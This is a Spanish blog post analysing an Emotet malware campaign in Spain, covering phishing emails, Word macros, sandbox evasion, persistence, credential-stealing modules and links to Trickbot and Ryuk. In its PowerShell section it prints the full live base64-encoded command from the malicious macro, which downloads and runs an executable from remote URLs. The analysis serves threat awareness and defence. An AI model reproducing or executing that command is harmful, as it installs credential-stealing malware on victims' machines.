Nueva campaña del malware Emotet en España
Durante los últimos días, España ha sufrido una nueva campaña de malware Emotet que ha puesto en jaque a todo tipo de usuarios de correo, desde particulares como usted o yo, hasta pymes, compañías o entidades públicas de diversos tipos.
Esta nueva oleada lleva comprometiendo la seguridad de usuarios y empresas desde el día 16 de septiembre que se detectaron las primeras muestras hasta hoy día, y por su forma de actuar, ha ido afectando a usuarios de tal manera que se ha expandido hasta terminar en convertirse en una auténtica oleada de malware.
El vector de ataque elegido por los autores del malware Emotet ha sido el correo electrónico. En este caso, mandan correos con adjuntos maliciosos a todos los contactos de la libreta de direcciones de la víctima. La particularidad es que no se hacía desde su cuenta, es decir, la dirección del remitente del correo no era la real de la víctima, sino una falsa.
Detalles del correo
Como se ha explicado, Emotet ha tenido como vector de ataque el correo electrónico aprovechando la libreta de direcciones de la víctima. Como usuario particular, me han llegado varias muestras a mi correo personal de un par de amigos que han visto afectados estos últimos días y que paso a mostrar.
Se observa que el correo simplemente se limita a contestar a una conversación previa añadiendo un adjunto malicioso. En muchos casos, la conversación tiene sentido, ya que hay usuarios esperando respuesta de otros y además con adjuntos. En este caso en particular también, ya que estaba esperando la contestación de un conocido con una hoja informativa.
Este hecho hace que esta campaña sea realmente peligrosa, ya que muchos usuarios no se han dado cuenta que no era realmente la víctima debido al sentido que adquiere el correo.
Detalles del fichero adjunto
El malware Emotet, es introducido en el sistema a través de un fichero ofimático de tipo Word que se caracteriza por contener cuatro macros, dos de configuración y dos maliciosas. Vamos a ver un ejemplo:
- hard_drivemlw.cls
- taskforcejzp.bas
- marketsdwk.bas
- calculatingluu.bas
Se puede observar claramente que la macro está ofuscada pero es medio entendible. En este caso, la macro “taskforcejzp.bas” cuyo nombre es revelador, deja ver palabras como pagos, teclado, red de área local, infraestructuras, etc. Gracias a esto, podemos al menos imaginar que este malware puede, desde hacer de keylogger, hasta actuar como un troyano bancario o un gusano.
Esta última imagen, que pertenece a la macro “marketsdwk.bas”, podemos intuir lo que realmente termina haciendo, que es descargar un fichero en el sistema para posteriormente ejecutarlo.
En cuanto al Word, tiene una única página donde se hace pasar por Microsoft e informa que la cuenta está activada.
Detalles de la powershell usada
Si ejecutamos el documento en una máquina virtual, nos daremos cuenta que la macro ejecuta mediante el uso de un comando powershell un script en segundo plano este el siguiente:
- “powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABDAGUAbgB0AHIAYQBsAGkAegBlAGQAbgBxAHoAPQAnAFMATQBTAHQAagBwACcAOwAkAEQAZQBuAGEAcgBhAGoAagAgAD0AIAAnADYANQA3ACcAOwAkAEEARwBQAGsAcgBiAD0AJwBVAG4AYgByAGEAbgBkAGUAZABhAHYAdwAnADsAJABzAHkAbgBlAHIAZwB5AHUAdQBiAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABEAGUAbgBhAHIAYQBqAGoAKwAnAC4AZQB4AGUAJwA7ACQAZAByAGkAdgBlAHIAagBpAHMAPQAnAFMATQBTAG0AdwBsACcAOwAkAFQAYQBzAHQAeQB2AHIAaAA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBFAFQALgB3AEUAYgBjAGwASQBFAE4AdAA7ACQAQwBhAG0AYgByAGkAZABnAGUAcwBoAGkAcgBlAHMAaAB3AD0AJwBoAHQAdABwADoALwAvAHMAYQBuAGcAcwBuAGEAZwBpAHMAcwB1AGUALgBuAGUAdAAvAHcAcAAtAGEAZABtAGkAbgAvADMAdgBwADUALwBAAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHIAZQBwAG8AcwBlAHMAaQBvAG4AYgBhAG4AYwBhAHIAaQBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcABsAHUAZwBpAG4AcwAvADkAZgAzADQAMgAvAEAAaAB0AHQAcAA6AC8ALwBkAGUAdgBvAHQAaQBvAG4AYQBsAGwAaQBuAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAyAHUAZQB0ADAAbABvADQANAAyADAANwAvAEAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcABpAG4AbgBhAGMAbABlAGMAbABpAG4AaQBjAC4AYwBvAG0ALwBvAHQAaABlAHIAcwAvADkAegA3AHAAYQB6ADcAOQA1AC8AQABoAHQAdABwAHMAOgAvAC8AcgBpAHYAZQByAHMAaQBkAGUAaABvAGEAbgBnAGgAdQB5AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AZwBjADAAMAA1AC8AJwAuACIAUwBQAGAATABpAFQAIgAoACcAQAAnACkAOwAkAGIAcgBpAGMAawBzAGEAbgBkAGMAbABpAGMAawBzAGwAZgB6AD0AJwBtAGEAZwBlAG4AdABhAGsAZgBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABGAHUAdAB1AHIAZQBvAG0AdgAgAGkAbgAgACQAQwBhAG0AYgByAGkAZABnAGUAcwBoAGkAcgBlAHMAaAB3ACkAewB0AHIAeQB7ACQAVABhAHMAdAB5AHYAcgBoAC4AIgBkAE8AYAB3AG4AYABMAE8AQQBkAGYASQBsAEUAIgAoACQARgB1AHQAdQByAGUAbwBtAHYALAAgACQAcwB5AG4AZQByAGcAeQB1AHUAYgApADsAJABXAGEAcwBoAGkAbgBnAHQAbwBuAHoAaQBtAD0AJwBkAGUAcABvAHMAaQB0AGQAYQB3ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAcwB5AG4AZQByAGcAeQB1AHUAYgApAC4AIgBMAGAAZQBuAGAARwB0AEgAIgAgAC0AZwBlACAAMwA3ADQANQA1ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAUgBUACIAKAAkAHMAeQBuAGUAcgBnAHkAdQB1AGIAKQA7ACQAcgBlAGQAdQBuAGQAYQBuAHQAaABpAG0APQAnAFMAbwBmAHQAZgBvAHoAJwA7AGIAcgBlAGEAawA7ACQAQwBhAG0AYgByAGkAZABnAGUAcwBoAGkAcgBlAGkAYwBrAD0AJwByAGUAaQBuAHYAZQBuAHQAcwB3AGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAZwBlAG4AZQByAGEAdABpAG4AZwBsAG4AbwA9ACcAUwBoAG8AYQBsAHMAcwBkAHMAJwA=”
Es fácil adivinar que el comando ejecutado está en base64, siendo trivial decodificarlo para ver el contenido, que resulta ser un script como el que se muestra a continuación:
Este script lo que hace es conectarse a una de las URLs que se muestran, desde la que descarga un ejecutable (Emotet) y lo guarda en la ruta “C:\Users\<usuario>” desde donde lo ejecuta.
Detalles de Emotet
El comando powershell del documento ofimático descarga el malware Emotet que en este caso particular es una muestra llamada “657.exe” y se instala como se ha mencionado anteriormente en el directorio del usuario, es decir, en la ruta “C:\Users\<username>\657.exe”.
Evasión sandbox
Una vez se ejecuta el fichero, crea un proceso con el mismo nombre del ejecutable (657.exe) que lo que hace es intentar averiguar si está en un entorno seguro y no en una máquina virtual donde puedan averiguar su comportamiento. Para ello, usa los siguientes métodos:
- Comprueba el nombre del PC.
- Comprueba el tamaño del disco.
- Hace un delay para retrasar su lanzamiento para evitar AVs
- Comprueba la actividad del PC para saber si está o no en sandbox en función de la actividad del usuario.
Persistencia en el sistema
Una vez que comprueba que no es una sandbox, se copia a otra ruta donde se asegura que tiene permisos de ejecución cada vez que se inicie el sistema. La ruta elegida en este caso es:
- “C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe”.
En este caso, Emotet actuará desde AppData bajo el nombre de “msptermsizes.exe”. De forma adicional, se crea persistencia en el sistema mediante las claves de registro:
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
A esta clave de registro, se le da el valor de la ruta completa del ejecutable, por lo que se ejecutará cada vez que se inicie el sistema. Una vez creada la persistencia, se ejecuta el malware Emotet quedando un diagrama de flujo como el siguiente:
El último paso es la ejecución del ejecutable “msptermsizes.exe” que lo que hace es borrar todo rastro del primer ejecutable para a continuación, crear dos subprocesos que realizan las tareas para las que este malware ha sido diseñado.
Módulos de Emotet
Destacar que este fichero malicioso consta de varios módulos que realizan diferentes tareas hasta un total de un mínimo de cinco.
Módulo de robo de credenciales y contactos
Una de las tareas que realiza es instalar un hook en el sistema que monitoriza el teclado. Es decir, captará todas las pulsaciones de teclado, capturando así webs visitadas, credenciales y contraseñas. Este módulo está diseñado para robar las credenciales bancarias cuando un usuario visita ciertas webs bancarias.
Otra de las tareas que realiza es comprobar el cliente de correo instalado en el sistema y buscar las direcciones de correo de los contactos. En caso de Microsoft Oulook, los contactos están en la ruta “AppData\Local\Microsoft\Outlook\Offline Address Books” ya que Outlook usa esta ruta para poder trabajar sin conexión.
Adicionalmente a las dos tareas anteriores, el ejecutable busca información sobre el navegador instalado en el sistema, de donde roba las credenciales que los usuarios tienen guardadas en el navegador.
Módulo de conexión con la botnet
Para poder llevar a cabo las tres tareas anteriores, es necesaria la conexión con una botnet C&C donde envíe la información obtenida en el sistema. Para ello, usa esta tarea, para conectarse con un servidor. En este caso se han detectado dos:
Módulo de ataque de fuerza bruta por SMTP
Por último, y en este caso en concreto, se ha detectado el intento de conexión mediante SMTP con una gran cantidad de servidores de correos conocidos para, mediante el uso de fuerza bruta y la ayuda de diccionarios, entrar a estos servidores para expandir aún más la campaña de este malware bancario.
Una vez consumada la infección, el malware Emotet habrá obtenido las credenciales bancarias de la víctima junto a las credenciales almacenadas en el navegador y a su vez dispondrá de todos los contactos de correo, a los que, desde diferentes servidores de correos, mandará correos suplantando el nombre de la víctima. De esta forma, irá infectando cada vez a más usuarios y expandiéndose.
Emotet y trickbot juntos
Si con Emotet no hemos tenido bastante, también he tenido un caso de infección con ambos de forma simultánea, esto es, no sólo se ha bajado un malware, sino ambos juntitos de la mano.
Este es Trickbot, otro malware bancario que fue visto por primera vez en 2016. En la imagen anterior lo podemos ver instalado en el sistema donde aparte del ejecutable observamos una carpeta “data” con los módulos y configuraciones y un fichero “LICENSE.txt” que es un log.
La configuración la obtiene de un fichero en disco “config.conf” o del PE del propio ejecutable (resources). En la configuración de este malware vienen diferentes IPs a las que conectarse para bajarse todos los módulos y configuración de los mismos. Una vez descargados, empieza la ejecución tras mapearlos en memoria de desencriptarlos usando el modo CBC de AES.
Módulo de obtención de información del sistema
El primer módulo que ejecuta es “systeminfo32” que se encarga de obtener información:
- Versión SO
- CPU
- RAM
- Usuarios de sistema
- Programas instalados
- Servicios instalados
Módulo de robo de credenciales bancarias
A continuación, carga el módulo “injectDLL32” con su respectiva configuración. Este módulo espera a que el usuario navegue por las webs bancarias, y cuando lo hace roba las credenciales.
Normalmente, tiene una serie de bancos preconfigurados donde robar las contraseñas y si no los visita, monitoriza que webs visita para avisar a la botnet y que le haga un phishing para obtener las credenciales de esos bancos. Destacar que este phishing lo hace de ciertos bancos preconfigurados también, no de cualquiera. Por ejemplo, desde finales de 2018 se sabe que el Banco Santander es uno de los bancos españoles de donde obtener credenciales para enviarlas a una botnet.
Módulo de red
Otro módulo que ha ejecutado previa configuración ha sido el módulo “networkDll32” que hace un escaneo de red mirando primero la configuración local del sistema y posteriormente escaneando la red para saber dominios y redes desde el equipo infectado.
Módulo de robo de contraseñas
El siguiente módulo que ha entrado en juego se llama “pwgrab32”, Password Grabber para los amigos. Este módulo roba las credenciales de diferentes soluciones software como:
- Microsoft Outlook
- Filezilla
- Winscp
Además, roba los siguientes datos de Google Chrome, Mozilla Firefox, Internet Explorer y Microsoft Edge:
- Credenciales
- Cookies
- Historial
- Relleno automático
- Peticiones post
Módulo de propagación
Por último, nos encontramos el módulo “tabDll32”. Este módulo crea dos ejecutables más:
- SsExecutor_x86.exe ( Propagación y persistencia )
- ScreenLocker_x86.exe (Bloqueo de usuario)
Lo que hacen es usar la vulnerabilidad EternalBlue para propagarse y hacer persistencia mediante registros del malware. A su vez bloquea el equipo al estilo de un malware de tipo ransomware.
Para estar seguro de las acciones del malware, se pueden ver los logs, donde están las acciones que ha realizado:
En las imágenes anteriores podemos observar como efectivamente ha buscado el explorador web usado para robar los datos y como ha buscado las diferentes unidades de red del sistema.
Relaciones entre malware
La hipótesis de encontrar a ambos malware juntos, es que Emotet descarga Trickbot como carga secundaria una vez instalado en el entorno. Esta descarga se hace a través del servidor de C&C una vez se da la orden para ello.
De forma adicional, también hay relación del ransomware Ryuk con los dos stealers anteriores. Este hecho es debido a que Ryuk, a su vez, se descarga como carga secundaria de Trickbot. Este hecho ocurre cuando ya se tienen las credenciales del sistema y acceso a diferentes recursos de la red (directorio activo, controladores de dominio, escritorios remotos, etc). Cabe destacar que Ryuk no se despliega en cualquier sistema, ya que es un ransomware que ataca a objetivos concretos, por lo que su infraestructura o tipo de red (gubernamental o gran empresa) debe ser apropiada para el ataque. Una vez desplegado y gracias a que ya se tienen todas las credenciales gracias a Emotet y Trickbot, se expande por la red sin ningún tipo de dificultad y dejando su carga útil por la misma. Un ejemplo de este hecho, se ha dado estos días en el ayuntamiento de Jerez.
En definitiva, los tres malware están relacionados ya que se descargan unos a otros a través de cargas secundarias a través de los servidores C&C.
Conclusión
En definitiva, Emotet lleva más de 20 días actuando en España actuando de la forma que hemos visto afectando a diversos tipos de usuarios. Para contrarrestarlo y evitar infectarse es totalmente necesario ser precavido y mirar siempre las cabeceras del correo para ver de donde viene realmente un correo, como se explicó en su día en este blog.
Venga a ustedes!!